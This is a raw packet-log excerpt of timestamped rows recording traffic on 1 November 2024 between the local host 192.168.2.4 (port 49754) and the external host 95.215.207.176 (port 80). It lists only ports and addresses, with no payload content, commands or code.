Nov 1, 2024 13:42:19.408979893 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409006119 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409018993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409035921 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409050941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409060955 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409069061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409074068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409085989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409092903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409109116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409136057 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409159899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409173965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409190893 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409203053 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409204960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409214973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409229040 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409230947 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409248114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409252882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409264088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409269094 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409280062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409287930 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409296989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409298897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409312010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409323931 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409323931 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409328938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409348011 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409360886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.409385920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409399986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.409435987 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413312912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413328886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413345098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413361073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413363934 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413372993 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413377047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413389921 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413393974 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413408995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413414001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413419008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413428068 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.413439989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413451910 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.413471937 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.457889080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.457947969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.457977057 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.458020926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.531738043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.531764030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.531780005 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.531795025 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.531795979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.531816006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.531848907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532035112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532051086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532068014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532075882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532083988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532090902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532099962 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532100916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532119036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532120943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532134056 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532138109 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532154083 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532170057 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532201052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532227039 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532242060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532244921 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532258987 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532258987 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532272100 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532277107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532294035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532309055 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532515049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532531023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532546997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532555103 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532562971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532584906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532588005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532598019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532613039 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532613993 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532630920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532633066 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532648087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532665014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532670975 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532677889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532690048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532696962 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532710075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532712936 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532727003 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532733917 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532742977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532752991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532757998 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532768965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532774925 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532785892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532792091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532807112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532824039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532918930 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532933950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532948971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532964945 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.532967091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.532994032 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533020020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533055067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533070087 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533086061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533101082 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533102036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533114910 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533138037 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533169031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533215046 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533225060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533241987 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533253908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533267021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533277988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533291101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533297062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533333063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533358097 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533469915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533484936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533502102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533508062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533518076 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533526897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533535957 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533549070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.533550978 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533569098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.533596992 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.536828995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.536854982 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.536871910 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.536883116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.536899090 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.536922932 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.536931038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.536947012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.536962032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.536973953 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.536977053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.536988020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.536993980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.537014008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.537039995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.537039995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.537056923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.537070990 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.537077904 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.537097931 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.537121058 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.621865988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.621881008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.621973038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655137062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655152082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655168056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655185938 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655206919 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655215025 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655253887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655255079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655270100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655286074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655294895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655302048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655304909 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655328035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655334949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655375004 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655390024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655405998 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655416965 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655431032 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655447006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655489922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655503988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655534983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655545950 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655637980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655653000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655668020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655680895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655683994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655699968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655706882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655718088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655731916 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655759096 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655786991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655810118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655829906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655829906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655844927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655847073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655860901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655864954 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655877113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655879974 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655894041 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655896902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655909061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655911922 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655927896 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655930996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655946016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.655946970 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655962944 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655975103 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.655978918 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656002998 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656027079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656157970 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656173944 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656189919 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656204939 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656218052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656233072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656240940 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656256914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656271935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656286955 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656287909 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656306028 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656331062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656508923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656531096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656547070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656559944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656562090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656569958 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656578064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656589031 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656594038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656600952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656610012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656614065 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656627893 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656632900 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656644106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656653881 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656657934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656670094 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656675100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.656682014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656696081 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.656717062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.701292992 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.706253052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948117018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948211908 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948399067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948430061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948456049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948462009 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948477983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948477983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948503017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948508978 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948524952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948527098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948543072 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948561907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948570967 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948585987 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948590994 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948601961 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948610067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948616982 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948632002 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948642969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948648930 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948658943 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948674917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948677063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948689938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948698044 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948708057 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948721886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948731899 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948733091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948750973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948751926 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948765993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948767900 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948781013 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948784113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948796988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948800087 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948812008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948817968 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948829889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948836088 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948852062 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948873043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948889971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948904991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948920965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948929071 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948935032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948940039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948952913 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948961973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948966026 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948975086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.948990107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.948999882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.949006081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.949007988 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.949026108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.949031115 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.949047089 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.949052095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.949074030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.949076891 CET	80	49754	95.215.207.176	192.168.2.4
